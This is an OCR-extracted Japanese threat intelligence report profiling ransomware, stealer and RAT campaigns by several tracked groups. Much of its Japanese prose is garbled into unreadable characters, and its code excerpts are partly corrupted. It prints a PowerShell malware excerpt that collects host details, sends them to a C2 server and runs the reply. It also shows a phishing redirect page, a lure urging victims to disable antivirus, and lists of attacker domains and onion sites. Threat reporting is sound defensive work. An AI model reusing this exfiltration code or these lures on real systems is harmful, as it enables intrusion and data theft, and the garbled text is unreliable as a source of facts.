FOSTRG—EXEAGRDHDFvY 8T Sy hITA—L%ZER L ChRMEF#HZITS
CEICERZESE. EEENEBEEBHSZRBCEDICLZRERLET,

5) €U5-311210)L—

HA )BT/ \WF>TT)L—TDH T, Sectorl121 J)L—T (Gt UFTaBECL>TU
AC-0173 £ LTHIBNTHEND., DUSAFTREDFHHFEEINELE.
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ZEIIN—TFIOSATEFEZERE O T A v ORI ZEREL. BEMFRNA—)LITHMGE
NZI4wa DU OLCTFORALEE. VI 72T D2O—- RERUEITIDLDCHEEL
FU.

[DO5AFEBEERTROIEA-IT RLX]

® notariat[@te.minjust.gov.ua

KEHRARITURILI LT (E. F—00URZILUE— D> bO—ILXILD LT (DARKCRY
STALRAT,

DCRAT) &UTHISNBRILITT T, MEHKRIRFTLAZUE— NTHIEHTEITILI T T7D—
DTCY,

ZEIIWN—TF. =00 URF)LUE—TI> bO—-ILYILI T 77213 TR<. RDPWRAPPER
° BORE DL S7/RENNY —ILZfER U EDEsnNTNnE,

[® 56: 5 —00UXZ)L UE— MIEIRILD T 7DV —XD— RDO—EB]

Related Events

® SectorJ121 used RAT Malware disguised as Justice Ministry Order

https://cti.nshc.net/events/view/12942

2025 F 2 A, At A/ —LBREAND OIS+ FEHBEE T OMlgiREz R >
T4 v ORERITVEURZ, HEEIARXEBCHRELZIVD I ZETI7AIL
DFI>O— RIS TZEVA—)VEBMmLE UL, DT 7AILERKITIDE. DARKC
RYSTALRAT (DCRAT) WILD IV (CRELZO>E1—FNUE— N7 OERZRAF
LTz, FRINEWMRENIEAT, ERCHFEZEMTEELLIDSLELEUZ, HEEDS
AT ACHH T O A LTz, RDPWRAPPER t° BORE 72 EDEMY —)LZFERA L TA
A=Y h LTI RDPZY S 3> @BELUF U, Fo. RBEEAEKRLRI—FT+ 1
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T4 ZERALUTI-Y—7HD> MiliHiZEE L. FIDDLER DLSRY—ILZFE>TIT
TREERZEEZ L. XWORM A7+ —S—&iBl COJa >7 -7 RIHF U, 1BE
([CLDTIF BELEZOE1—5%FIALUTSENDEMAIL 1—F 1 U« ZBU TER
DHDIA—INZES(CHMIDCEEHDFUL. CNSDIEIETTISAFTHRTREL
TOEENCHERTDEDE UTEIMSH, REREREE (CH T DMGHNIRREN DD &
ZRU. NIRRT\ —EZ5|SkRCUE U,

6) ©OH5-311490)\—7

HA)\=IB5R/\VF>TJ)IL—T DR T, Sectord149 J)L—T(Fdtz+1UF 1 BFECLO>TU
AC-0050 ELTHIBGNTHD., DUSAF TRLODFEENRE=NFLU.

ZETI—T(F SEHEHBEBNEEUEA—ILDRD(CHRELIZT v S I X—)LEXMEL. RS
SNZEME DT 7 )L Z2ZIAVRIRED I E— EHAL T, WEMNEMNENZSY D >O—-RIDLDIC

FHELFUE.

R S v
load

Downloa

NetSupport
toxd _-

Connect

[ 57: SectorJ149 J)L—TDUE—I> bO—ILRILD T 7RETOEX]

3 nosazow,

Tonoenuil Gyxeammep

Yaban AnacTacis BonogumupieHa <kame@kamecka.nejp>
3 ; -

Jobporo auwa, Mu cnaarnas Bam pacymor

K, MLIEAAITE, KOTH GYIYTE JAKPHBAIOM J0KYMeHTH 3 onaatn? ¥ i Koo

[ 58: XIAVVEIREDIE—ZXELELDICRENTTZTr v 2T X—)L]
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[E#E 20 7 1 )LOWEBIC(E PDF XENEMESNTH D, PDF XEBICIIXEZME T D eHTRfFEN
U0 0OUYIFTBRRIICEVNWDIRAXE/\A /U IOMEASTNTNET, K. PDFX
E(CFEAXZIT TR, Google

Docs D74 A2 ZRUICERE—EICMIESNTHS D WEMRN) \1 /-1 > D% Google
Docs DU D ERRUTI VY IITRIEIDICHFELTLNDLDTT,

11106 neperasHyTH JOKYMCHT, HATHCHITH Ha

rneperiin

[E] 59: Google Docs > % iwft Uic kD ICBFRENIZ PDF X&)

WEGVRNEDI > 00 IV IFTDE. DTITORR=ADIT7A)NRESIOCHEEY—EXD—D
T 4sync (CUSF AL k&, JavaScript (JS) R—=XDVYILIOT 7P D> 00— RENET

o

[V T 7®D JavaScript 50> 00— K URL]

® wwwl[.4sync[.com/web/directDownload/Mti5RkbT/LVsbnVsU.fad8d9ee9b95e86e286b85b5
f368fbef

ZEHDOTILD T T IIEENICREGRICRY MR—MNJE—-RIO> bO—)LTIL I T T (NetSup
portRAT) Z#O— RI BHEEERIZ L. WEHRI AT AT U TUE— MIEMERZ MR L TIBHR
INE, T > REFT, BIDOXILIT 7T O— REERLARBREBEDSDDITAEIT O ImEDHEN
TWET,

NSHC©2025 All rights reserved.



Cyber Threat Intelligence Report

[¥ 60: YLD T 7D—E T3S JavaScript V—X 11— K]

Related Events
® Sector)J149 distributed RMM tools via phishing emails disguised as payment
documents
https://cti.nshc.net/events/view/13755

7) ©9H5-31750)0WV—

HA LR\ F 2T T)IL—TDH T, Sector]175 T)L—TF(EhdtzFa1 U1 REICKLDOTR
S>> 7JA#—2X (DragonForce) ELTHRISNTHED., RAW. TSI, BOZTSETTHES
DEEBNREINF UL,

ZEI ) —TFEENFRZERFER I DEHIC. RSO IA—-—IXS>HAD17)7 (DragonForce
Ransomware) ZREMHRS AT AITHELE U,

WSS YAD T 77T DIeHDRIIDEAEME LT, BEEEBRLIZEDTENTULD

o

[Sector]175 J)L—"h\BA U T=hegs %]
® (CVE-2021-44228 Apache Log4j2 Remote Code Execution Vulnerability

® (CVE-2023-46805 Ivanti Connect Secure and Policy Secure Authentication Bypass

Vulnerability
® (CVE-2024-21412 Microsoft Windows Internet Shortcut Files Security Feature

Bypass Vulnerability

® (CVE-2024-21887 Ivanti Connect Secure and Policy Secure Command Injection

Vulnerability
® (CVE-2024-21893 Ivanti Connect Secure, Policy Secure, and Neurons Server-Side

Request Forgery (SSRF) Vulnerability
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https://cvepremium.circl.lu/cve/CVE-2024-21412
https://cvepremium.circl.lu/cve/CVE-2024-21412
https://cvepremium.circl.lu/cve/CVE-2024-21887
https://cvepremium.circl.lu/cve/CVE-2024-21887
https://cvepremium.circl.lu/cve/CVE-2024-21893
https://cvepremium.circl.lu/cve/CVE-2024-21893
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COMESEH B U CRITSNES Y ATI 7. BERNRIRATALCS YL —NEERKU. T
elegram EXA—)L7 RLRAZE U TESILER(ICE T DEERNAMEZZR I DL IOHALEI L
o ESLBERZESIAVDRWNES, BFENLT 927 —IREITOJBEN TEESNDIAZAS KX
A2TA=DZI>FFRRIDEBEID_ELG (FIILITIXb—232) FROKREZE
RUEDtienZEzd.

computer ID: INTERMATIONAL GROUP OF COMPANIES MONOLITH

[l 61: l\jj > J#—2X(DragonForce) S>HBADT7 S>HYALJ— K]

[A=ILT7 RLA]
® arter[@bikerider.com

® supportrial[@cyber-wizard.com

® biosannet[@email.com

[FLISLFv>FRIV]

® t[.me/BlackNevas

[—AHEITOA=A RAL TP RLX]
z3wqggtxft7id3ibr7srivw5gjof5fwg76slewnzwwakjuf3nlthukdid[.onion

dragonforxxbp3awc7mzs5dkswrua3zngyx5roefmidsmijrsdi22xwqd[.onion

kfgjwkho24xiwckcf53x7qyruobbkhx4eqn2c6oedhprbn23rcpbqcgd[.onion

hunters55rdxciehogzwv7vgyvbnt37tbwax2reroyzxhou7my5ejyid[.onion
black3gnkizshuynieigwbejgpblb53mpasftzd6pydqpmag2vn2xf6yd[.onion
embargobe3n5okxyzqphpmk3moinoap2snz5k6765mvtkk7hhi544jid[.onion

[ ]

[ ]

[ ]

® kill432ltnkgqvaqntbalnsgojggs2wz4lhnamrgjg66tg6fuvcztilyd[.onion
[ ]

°

°

® k67ivvik3dikgidgy4ua7xabidijldsi7k5ad5lotbaeirfcsx4sgbid[.onion

Related Events
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® Sector)J175 used DragonForce Ransomware
https://cti.nshc.net/events/view/13030
R, BAN-BEIIN—TCLDEDEHEINDISOULADITHRECKD, O

PSEFDUY RICHDAFAEE - @iattd 6TB #iBX 27 —FNES{LEN. Tl
LEUS. 20254 2 A 14 BICERRSNECOIREG. 202542 B 28 HOS<YS >R
BERIRFICREL. BIENICHYA I IMEINZSEZRELTVET ., OB,
S YLD T TDOBBII IS TSEFTDHE5Y . MENA (hEHICILTZIUH) it
BEBR CEERA > IS ERPEZZENCT DLEMEDZRLUTVET ., COWED
BRICWBIIL—TE H—ERELTDS YLD T (RaaS) EFIIAEEL T2
D175y NIA—-LTHEEZEEL. Benic—EXZzEBCUCEY hO1>TH
REZERUET . NMEEICIEEREDRA 80%N1>t>2FT1 T ELTHIAVONET,
C ODREFRODVEEERANT (C (. 1R ZBHTDIzsbDHRAS [ CAPTCHA, FIHRD? DA Dizsb
@ CVE-2021-

44228 DL SR CVE DEA. TUTRY NI—UEBADIZHICT 1 w72 & RDP DHf
FEEMAERITDCENETFENETT . COBMHE. MERFMNEIRICEK D TE(L T Dbz
DA )\—tzF+1 UF+ BRORAIMERZREL TWET,

8) U5 -311960)V—T

H)\—IL5E/\v H—JIL—TDH T, Sector]196 JIL—F(dhdtzFa1UF s hECL>TIL
+=—+—T)JL (Crazy

Evi) ELTHRIBSNTHED. 4> R, O>7. Z7AUH. BNLO. RO —F > THESDEENER
=NnFUL.

ZHT)I—Td. EBSBEERTORHEZWRIC/\VF 2 TEANZITOHICTHRORTZFRIZILEL
2o WEERTITDISHDLDCREDEHIC. IR—LR—ZZFEUIEIEIF TR, LinkedIn 12
XDEOIRTSY RIA—LTEHT NI hEER L. BELF U,
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Q
=
9

We are hiring! Ta

Dozens of Airdrops.
One ChainSeeker.

,,,,,,,,

;;;;;;;;;;

aaaaaaaaaaaaaaaaaa

mmmmm

" ™ e
$740676,939 $521678,332 $ 1.53[%‘955,970

[X 62: ROESEEREY A bDR—LAR—]

S (FERR U2 SNS T35y b I A —L%ZBU TRALSZEB/H L. INICEKRZR D fREE DK
NLECIEETDE. T LIS LAZBU TRAICHAIZIFREIZEDDIRIDOIRNTIA—ILZEXEL
FUlz., ZOH. WERENANTLISLAFvORILIERTDE. AROLEHICETATITVT—>
DA AR=IREIZEVWDSFHBAEEEIC, T4 VS IR-J(IIEHEIDRLIDORALELE
o WEMHBUIET 4 v 2 IOR—2E EROETARBRTIUT—23>2 %2 A A M=ILTED
EBRR—ZDRIICRIDELDICERESNTED . WER[KNARNDT (CT 1 v IOR—THSHEL
mENd Malware 25 D> 00— RIDELOFELF LI, Malware (FEEWNRDARL —F 1 >0
SAF AU TRIRDFATD Malware i D> 0O— R, WEWNRD Windows DiF&E(ES
F3I>F+ X (Rhadamanthys) > 0O— REH. macOS DIFE(F Atomic macOS

Stealer (AMOS) M9 D> 00— RENEEDTENTNET,
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The artificial intelligence of our project is constantly improving, the latest version is 1.20 &4

A« Grasscall Advantages Pricing FAQ  Use Policy  Download X o

GrasscCall:

revolutionary Al solution in the field
of communications

In the period of globalization, even knowledge of two languages imits human
productivity, so we are pleased to present a product that will solve this problem.

#1 Among competitors within the country

Advantages of our product

Advantages of our product compared to
other competitors.

\' (@ | Make your voice more beautiful [ Eju\ Get the best video quality (New!

[® 63: ESAREI TV —23>DFI7>0—-RYA MRS ET1 v 20541 K]

Related Events

® Sector)J196 distributed Malware through Job Advertisements from Fake Company
https://cti.nshc.net/events/view/13196
O 7= ERT 29/ —IEEREAN. ESEEH LU Web
3.0 DBHOKRBEEZNRICEERY —SvIV ISV YU IREZITVELZ, CDfF
B(C(E, BPINRO I T YA MEY—SvILAFT 4 7OTOT 1 —)LZ2FFD [ChainSeeke
riol OLIIMBORHZRIL. KFEZSISHTEICHITBORANLEZ/HIT DL
NEFNTVFELUZ, BREEEFA-IILZBL CTHEOBEFZZITIMD. ZoBFETLD
SATEEENE U, TLITATIE. SHEAGRELSNDIAMDREDOD T THA H
NSBEDHDIETAREITY [GrassCalll Z5F0>0—-RIDEIFELFELUR.
DFTUFA > X b—)L#&IC Malware ZHLEI LE Uiz, Windows D&, UE— K720
TRE bOADARE (RAT) CERBETOISATHDSSHYN>7T+ X (Rhadamanth
ys) >R b—)lEn., BSEEDALY MEEDI-—T-—F—IhEENFLE.
macOS T(&. Atomic macOS
Stealer (AMOS) EWDN\—=3>hHMERA=NELIZ. 2D Malware (& Microsoft
Defender DFEZZE LT C:RSATZEM I DET, TF1UFTABHHZ AT L%
BHEULELUE, ST RET—FREDIZHICOY> RO ~O—)L (C&CO)
H—/)\—(CEHEL. F—OF > TP0BEDH D I 7 MILOERITIREDEERFEZERL
THEEZEBRLE L.

9) €U45-11999)W—>
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HA)\—JB5R/\VF >0 J)IL—TDH T, Sectord199 J)L—T (D tzF+1 VT 1 BHEC K> T
>2OUTRI\T (EncryptHub) &EULTHISNTHED., O>7 ARA >, ZAUHD, FE. &E.
AFUR, FTOX, ASAHTESOFEMNIRRERENFE L.

ZEII—T(F EROITITTA RO RAA D EBIZARIVEREDRD RAA > 72ERL. 1Y
—DIATZRZFAUTCERDS DI YA NMITFIRRESEBRIIARAV TV« >4 (Typosquat
ting) FEEZBALEUZ, BESEEBEDY I NI TT7ITTHA MDD RAA > EBTz RAA > ZF|
AUT. MBURNZDOTA MCTFIOTRATDILIFEL. TOYA M TERMESNDIVWILD 1T 7775
STERLKETSEDIEHIC. REOVI NI 7T ITPA hEBMIZ UL THA > ZEM LTIz &S
HENTHET,

paloalto

Defend. Secure. Simplify.
With Precisio

The rollout of our new Secure Al by Design portfolio has begun!

[®64: VI BIDTF7ITTHA NMIMBELET v 2084 ]

[Sector]199 VI —THhFRAULIET 1 vS O RAAL ]

® paloaltonworks[.com

ZEDTA v IHA hEB U TERMESNDTILD T (F. &=I&H(C PowerShell ROV T bR
DIILITT7THD. INZBU THENRE AT LD IP 7 RLA, I —=7HT> MER. 7R
A NER. SRFLBRREDT—FEREL. TNEES(LTIT> R&I> ~O—-)L (C2)
H—)(—([CXKELEEDTETNTVET,
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SexternallP = Get-ExternallP
Snsemm = Get-User Name

$osversion
$isDomain = Ge
$buildType = Get- Buu.a'urpe
$isAdmin = Get-Tshdmin

| $data = €{
“Ext " = $externalIP
" = $uzerName

sjaann ta = $data | ConvertTo-Js
~Host "

$ancryp:ndnata = Encrypc -Data key $.‘ny -iv siv -data $jsenData
Write-Ho

Surl = "$serverloca J
§webClient = New-Object Sy sten.Net. WebClient

$webCliant . Headers.Add("Api-Key”, $aj pixny)
$webClient.Headers.Add (" ¥ : tion g

try (
= ionId + " n" +
= $webClient.UploadString($url, $rsquestBody)

ession -Command $response

[E 65: PowerShell XU ba>—HEp]

[C2 H—){\—FP RLX]
® encrypthub[.net

Related Events

® Sector)J199 used PowerShell Malware to steal data
https.//cti.nshc.net/events/view/13197
BHRYA I\ -BRUEENCES I 3BT —H. rOAOKRENESENTZAT 7T

—23>EH— R)\—F 1D PPI (Pay-Per-

Install) H—EXZBLCTIILI T 7 ZILEL TS ENfERSNE Uz, COBE

(&, QQ b—727. WeChat. Google

Meet IREDT TV —2 3> DB\ -3 > ER L. 1—F—DEFEEBALUTEEAR
40— REFETUF U, 2024 FRMS 2025 FHREICNFTTES T NS0 ~O1D
ARETTUE Y7 OCRZBBCL., 1ERZFIESE. T YRR ERLET.

[C. INBD7TU(CHHFIHAENTZ PowerShell ROUT ME, 1—H -2 RXFLADT—

HEINEL. YVE—M—/)(—(CXELFT . Ffo. WEE(S Lablnstalls

PPI B —EXZER LU CRMIOCRZMRIE LTSN, CNETIOJ TOEENFR

NOERTEET, HoDFILFI—2(F ZEBTOCRZEL TERZEZONILIT

7B B5EICEE L. Rhadamanthys £IT DD 7 (LI 2 & TRTUELE
o THI(C. WBE(IFRMDT 1/ —ILFE(CEM T D/HOINY> RO hbO—ILY

—)L T3 EncryptRAT ZHFEL TL\ET ., COFEEIGE. BEY T hD 1 7Obimzsgil
L. =05« 208N ZIGRT Db D—HUIEBNZERLTVET,
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10) Y 45—12000)—F

HA)\—JB5R/\vF >0 JIL—TDH T, Sectord200 J)L—T(FDtzF 1 UFTr BHECKOTT
A583 LLTAIBNTED., ZAUB, FILEF>. 42 RTHESDEHINERESNE LU,
ZET I —TF. PAUPIRRER (Social Security Administration,

SSA) BEDOETA VI IA=IZEREL, Ta w2 IOXA—)LICIFHRHEDXEZSY D >O— R
ITRIKRDICHRIDFAEEB(C T v TUIONRMIENTLE U,

[MEBEA-ILT RLA]

® suppoee3[@netsolhost.com

KEWFNEDI>D&IT Iy ITDE BEISTAL U MMEEEZSOY —XO— RAEEL. INE
EMEEULEIRNRNILI T 7 MMCEEBNICHBELE T,

<head>
<meta charset="UTF-8">
<meta http-equiv="refresh" content="1;url=https:.//ssastatementshelpcenter.de/top/">
<title>Redirecting...</title>

font-family: Arial, sans-serif;
text-align: center;
padding-top: 50px;:
background-color: #£3£3£3;
}
.content {
width: B80%;
margin: auto;
padding: 20px;
background-celor: white;
border-radius: 10px;
box-shadow: 0 4px 8px rgba(0,0,0,0.1);
}
.spinner {
border: 4px solid #£3£3£3; /* Light grey */
border-top: 4px solid #3498db; /* Blue */
border-radius: 50%;
width: 50px;
height: 50px;
animation: spin 2s linear infinite;
margin: auto;
}
Gkeyframes spin (
0% ({ transform: rotate(Odeg); }
100% { transform: rotate(360deg): )
]
.confirmed {
font-size: 20px;
color: green;
margin-top: 20px;
}
</style>

[X 66: BBN(CEMY A MMCUFAL U beNdY—XO— RD—HEf]

[UALL O RSN 2 RIVIIT A FRAL ]

® ssastatementshelpcenter[.de/top/

BRI (CHEHNRS AT AICUE— MNEZFIUITBRIUEEY—)L (Remote Monitoring and
Management,

RMM) O—DTHDRAY)—>0%2 K (ScreenConnect) A0 >0O0—REnNExEd,
WSFEROYU—>OR0 hEB U THENRI AT LZUE— NTHIEIL. BEDHITRAZEITL
KoL EDFTENTNS,
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[ScreenConnect R1O—R #0>0O—K RAA ]
® retireafter5m[.co/Bin/Recently_S_S_A_eStatementForum_Viewr5406991387785667481_Pdf.

Client.exe?e=Access&y=Guest&s=1fa76235-0891-43b3-9773-feba750a3852&i=Buss1

[ScreenConnect C2 RX-1 2]

® retireafterbm[.co

® invoice007[.zapto[.org

Related Events
® Sector]200 (FTJ 1 VS > IA—)LEE LT RMM Y—)LZBRHELELUE.

https://cti.nshc.net/events/view/13351
BRI DS —d. DA/N—REDHEARAO— RELVTEENRVE—- MNEZFUITE
KUOEHE (RMM) Y—)LZ2FIHFIFMALTCVET . HNICIT EBESNUE—- MNEIE
DEEHIERLTLTZINSDY —)LE. RETEYE— b7ITERE NOADARE (RA
T) (CRUztgEZ iR CTH 0. YA/ BFEICKI D TEHASNTLEI . ScreenConnec
t. Fleetdeck. Atera DK S7% RMM DfERAADIZITIE 2024 FENSERENTHS D, N
(FERDO—S =Ry bRy DD E—ELTVET, NSO RMM Y —)LIZER
DHBIA—=IFv 2R 7ZB U TRMSN, WBEFEFZR-ADFHFRZE L THHEE
ZBRL. RMM Z > X h—)LS B2 BFEEMAIRELE (TOAD) BifizfERI D EN'%
WTY . TSZILDIRITIIVI T PABOBR OB ZER T DR E. FRIIQBRLT5 —
EF v INR=2N RMM ZER [CHE LIRS TWVWET . BEIRIEDZ(E(E, 1EROFFE(C
WIDdtFa U BEROBEADEISZRIRUTH D, 1/ —BRODEILT DS
HERERB KRUOSEMRE AN X LDKE S ZRFA L TVET,

11)t94-32030)\L—F

HA )L\ F 2T TIL—T DR T, Sectord203 J)L—T(FidttF+1 UF 1 BECKDOD TR
E7 D« >7 (Spearwing) ELTHSNTED. 7AUAH, PSTEREER. 1FUX. BAE,
HFE . ISO7A, EBTHESDEBNFERNE L.

ZHI ) —T FEENFNRZRERITDCDICAT 1S HADT7 (Medusa

Ransomware) ZiLEILFE U,

W5E. COSHBADI T DEHIC. VE—-NEZSUIBIUER (RMM) W—IL
MD—DTdD SimpleHelp DiESEEZEERALE U,

[Sector]203 J )L —THEA U=Hes51%]
® CVE-2024-57726 SimpleHelp Privilege Escalation Vulnerability

NSHC©2025 All rights reserved.
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® CVE-2024-57727 SimpleHelp Path Traversal Vulnerability
® (CVE-2024-57728 SimpleHelp File Upload Vulnerability, Remote Code Execution
Vulnerability

ZET)IL—TE. SimpleHelp DEFEHZEFIA LU TREXNRS AT ATYUE— MY REETL.
TDIFZEZE L T Windows

Defender MHIFL (R (C C RSAT DB T/ RZEML. TF1UFTAVII1—32DA2 A M=
IWBEZERUIZE. IV T7ZERUFE U,

ERLEIILVOI7
® C:¥temp¥smuol.sys
® (C:¥temp¥6Vwqg.exe

® C:¥Windows¥Temp¥MilanoSoftware.exe

2O —THER UIEILD T 7OHRT [6Vwag.exel (F. —BICERSNETILIT T RS
—2J74)L (smuol.sys) Z0O— R I e RIZLET,
ZERSA/INT7AILAO—-RENd & BEMRESAFATEFIUFTAV U123 > DEIE(C
WMERFE I 7AI)LZHIFRL. EDRYU 123> T 2HEEZEITI D [PoorTry] £LT
5N Windows RS/(TT,

WSEFRERSAI/I\—2Z2O-RUIER. S>HYADITT7ORAO—RTHD [MilanoSoftware.exe
1 ZRTUET, ZEHR1O0—R(&E Windows D net 1—F« U« ZFHALTS>HBAD T 7D
KT CEDIT—EXZH#EIFRT U, taskkill IV > RZBU TEITHRDS RFT LAY R D%z
(e ER U,

ZTDH. SHALADITTDORAO— REEREMNRE AT LADT—FZESIEL. BSIEANTTIDE
BCHIBRZITV. WEORIEHET TRZEITVELI,.

WSES YA — MIAESIEERDIAWICE T DFm 1T D ILbDERFERZ A UE U,
ZEII—T(F. ESEBERADZIAEEFRELTAZAS RXA> (Onion

Domain) &hwZOX (Tox) ZERALTWDRDTHD. ESILERZIMDRWVNGE, LIS
I (Telegram) Fv > )LETOVBEMNTEE SN TSI AZAS RXr> (Onion

Domain) ([CCNZikiRIDLBBTD_EEIG (Double

Extortion) DWW EZITOELDTT,
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[® 67: X5F1—HY5>H A — hDO—ER]

Related Events

SectorJ203 used Malware to distribute Medusa Ransomware
https://cti.nshc.net/events/view/13176
AF 1 -S> P ADT FREE. $F(C 2023 FEHS 2025 F(ChFTRELEURE. Y

—EXBS>HYADTY (RaaS) LU TCEESNDCOERE(G, —ETIGHMZERA L E
9. DFED. Ry NI—DUZBSLTBRICT —FZRH WHEE(C 10 5 RILMS 1,50
0 B RILOBREZSZINVD X DENZMNTET . BREDIAWEIERT DL, 7 —FN
PHATNDEBLFEIT. WEE(LEE. Microsoft Exchange

Server DL DRV TVT—23 > 0OFR/ v FOMSEHEZBRALEIN. BRULIEHRT
NI REANCHBTDZLEEHDFET,

AF1—H(EF. FIFTREHLREREY —)L. SimpleHelp 2 AnyDesk DL SR2UE— b~
B2V I DT, 2UTBYOVD (Bring Your Own Vulnerable

Driver) FE&ERLTEF1 VTSR LAZEHIELEI . PDQ

Deploy 1> Mesh

Agent DELSRY—ILIE. YILTTT7RAO— ROELMEESEREZER(CLET. &
DY ALADTT(E [.medusal HLEFZENML. [READ_ME_MEDUSA!!.txt] &0)
SHBIDBREATZKZLUET . WEEE 10 HUARISSHAWZITOREN DD, EET
DESIENBREINF T, —BUIEMIE. WERD RaaS 7TO—FTIFRL., HEPKEHK
BETHDARENZTREL TVET, AT 1—H(F ERPEAZEVIESHTRDTFOKX
MR ZE RN (CLUTVET,

SectorJ203 used SimpleHelp Vulnerability to deploy Medusa Ransomware
https://cti.nshc.net/events/view/13313

B 705 —(&. SimpleHelp JE— NEZAUIBLVEE (RMM) W—)L (CVE-
2024-57726. CVE-2024-57727. CVE-2024-

57728) OMESEMZEBAL T, HEEBDI>E1—FTEREDOIN RZETL. =EHN
(C Medusa S>HY AT 7ZEMLUTVETS, E(E. SimpleHelp RMM D Remote
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Access.exe ZIBU CERITSNDIAN Y RNSIREDF T, WBE(E. S XTLSKLUVTF
AT IA=)LOT)ZFER U TERZITVET . 6Vwg.exe T2 MilanoSoftware.exe &L\
DIERIVI TV I7AILAETESN, TOCRDMIEESNET . HeartCrypt DXILIT T
I\ H—PMEREN. H—F)LE—RRS4/{—smuol.sys i’ > X b—)LEN. HERR
7 AIVZHIBRU T RARA > MRES KOS (EDR) VU1 —>3>Z#EMELUE
9., TP LTI TRAO— RTHS MilanoSoftware.exe (&, net.exe ZEHALTEE
SERMBIRIT—EXZEM L. taskkill.exe ZERA LU CTETHDEERY AV EHE TS
B SHYADI VEMOBRES LOHMZSR/IRICIIRET. FEIC. T71ILHIES
fEEn. EFRICST U ADIT 7RAO— RONHIBRESN TGEHLAEESNE T,

® Sector)203 leveraged Vulnerabilities and open-source tools to deploy Medusa
Ransomware
https://cti.nshc.net/events/view/13409

12) 045 -12040 )W

HA\=BFR/\WF>TT)IL—TDH T, Sector]204 J)L—F(Ehdtz+ 1 UF 1 BFEICKD TR
-5 —TJTJ> (Stargazer Goblin) &UTHISNTULEY,

TDIIN—TE YIRITITTDISYVIRTHINDELDICHERLUT, LN AT« —5— (Lumm
a

Stealer) EWSILD T ZEMUELZ, #H5(E GitHUb DXSRTSY hIA—LZBLTY
RO T7DOSY ORI 7AINESFI2O—- RTEDEED. URS KN(TRMGENZY > 01277
TDTERFTBLIFBELFH UL,

Nitro Pro Crack 10

[ 68: BDOYI DT OSvII\—-23>T7A)LEHFUTZ GitHub URT KU ]
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WEBR/ENY I NI T TDIOSY ORI 7 A I 2T I>0O— REDEDICEDYSDICTITERTD
& EBRIOTEBDELDICRRD DT IR-T(CUFA LT hanExzd,

All PC & MAC Softwares

Search

Click Here to Download Updated Links

Download Now

Recent Posts
How to Install:
IDM Crack 6.42 Build 27 Patch +

« Step 1: If you do not have this program, you can download it here Serial Key Download [Latest]
o Step 2: Temporary disable Windows Defender and antivirus. It is needed so they 2025
don’t block the program. Click Here to Download Updated
« Step 3: Download the file and unzip using WinRAR. Links
o Step 4 Open .exe file as an administrator!! Altair Inspire Studio 2023.2.3 +

Serial Key [Latest 2023]

lamActivator.org is a user-friendly and comprehensive website dedicated to )
Native Instruments Massive 5.4.8

providing high-quality software solutions. The website is regularly updated with the With License Key [2023]

latest software trends.
Readiris Pro 22.24 With Serial

Please wait while we verify your download link. Key Download 2023

[ 69: IEEQRTOTRICHERLIENILI T 7TA ]

WEMKNSY DO RG220y IFDE, BIDFI>O0—- RR=Z(CUSFA LT REN. Z
DOR—ZEAB I IR ML —= (Mega Cloud Storage) @ URL ZigtLTWET,
WSEADTSTDRIANN =D URL ZIRME T D EICKD. WERNRARA S —2(C 7y TO—
RENEI7AILICHT DREZZMR< L. ENZI T2 O0—- REBKXUEITIDRIICHEELFLUL

Download Is Ready!

https://mega.nz/file/TVMDILCC#YSXMQD3tr-VSr6tC8Huvd2i0QJgJy

Copy Download Link

[B1 70: AHTSTRARL—20D URL ([CHEH#E T DL D (CHBE I DR—TEHMH]
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[ ABOSORARL—SD URLICFILCRTBLSICHEETS RAAL ]
® v5pxfqo7w061124zh[.cfd

ZEIIWN—TWHANISTRRIA N —ZZBU CERMULIZI 7AIVSER I 7AILTH O, [EfET 7
A ILDOABBCIFILY AT« —F— (Lumma

Stealer) &UTHISNDRAT« —5—8ID Malware " &FNTNET,

NS EFRFESHZEMNRICAT 4 —F—EDVILIT =LA L. KRR —S5EzBENE U
TEDEDTEND,

Related Events

® Sector)J204 used Lumma Stealer disguised as cracked software
https://cti.nshc.net/events/view/12835
2024 F 12 AW SR SNEHDF v 2 R—2F ISy TSNV I bz 7 (XL
7z LummaStealer WL T 7 ZEM I D EZ2EHF T, URLIEHEY —EXZED GitH
ub URS NUZEFERL. BED$H S JavaScript MEHIAENZTOJ(CUSF1A LT L
F9, I—H—-(FBMRXA> (.cfd. .click. .info. .xyz) (CUFAL TSN, &EH
(C LummaStealer £17 7 7 1 )ILIMRIFSNTZ/ AT — RTHRE=NZ T 7 ()LD ME
GARX KL —>(CHERENE T, BRI’ —(& Facebook. Devpost. TikTok. Chromi
UMBREDETHEEFRTSY b IA—LZERUTREDSH DY I I 7ZlmLEL
2o SORIINDTTFDEMAZELCE. TSOTDUIT7S—MRIS—2ZEL. FILLD
1 > ROZRWTCIA—Y—ZBRBDH DY I 0O— RR—Z([CUTA LT~ 2GS
N7z JavaScript J— RASENFET . /R DT — RTRESNET -1 T EEERMFET
Sy b I A —LEERTDEFLFIDF v 2 _—> CFEULTVEIH, RRUST 1L
T RRAADIREDEWNGDFT ., INIE. BllTDE(LF 2 (FEIRDFEZ RN T D 5!
DBR IS —Da]getZR~E L TULET,

13) &9 45—-120590)W—F

BB/ \YF>2TTIL—TDHT, Sectord205 JIL—TF(FhdttF1 UF« BEICI>TA
>5)LJO—H—(IntelBroker)& LTHISNTULET,

ZET )T FEENFIRZHER T DEHIC. T >F> X (Jenkins) AN RSA>A>HF—T
T —X (Command Line Interface,

CLI) DiessZzBALTCI>FT15>RS Y AT 77 (Endurance

Ransomware) ZiLEILE U,
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[Sector]205 JI)L—THhEMA U J=hess14]
® (CVE-2024-23897 Jenkins Command Line Interface (CLI) Path Traversal
Vulnerability

[T>F15>ARS5>HAD17 (Endurance Ransomware) AZA > RAA>F7 RLX]
® h44jyyfomcbnnw5dha7zgwgkvpzbzbdyx2onudfxaa5smxrgbjgg7had[.onion

Related Events
® Sector)205 used new Domains for Endurance Ransomware

https://cti.nshc.net/events/view/12888
YA\ LRRE IR (TEENRBR 7O —NEGZL. TR, S>HYADT)
WE. RNEF—FEBIICAS5ULE Uz, 8ET/\—IE5RITOT Tzt Uiz S
(&, RELOHRTEEEZHT. 1—0OMR—)L. RILR, AT&T IR EDHEEZRENIC L TIE
WS4 ZEsIERIUFE U, 2023 F(C(EEZET U7/ \—IBFRER(ICIDDEL
TRl ARRE U TCRERERZRNEH U, COBRL DI — FRIRIFNEWNEDDTE
FIZT Sy R IA—LZERL. T—FREEBNZRRICLET. BS5DS>TADT
7 THBDI>FT15>R (Endurance) (FEEREENEZRUEIN. TOERIRGERZIE
HBI E DBREMICDWTHRFZSISER I UER U, RSB O ADEH(C AR T
Uo—23>zBRAL. BERESESXIUT—FREEMIEER L. 2024 F(C(EKE
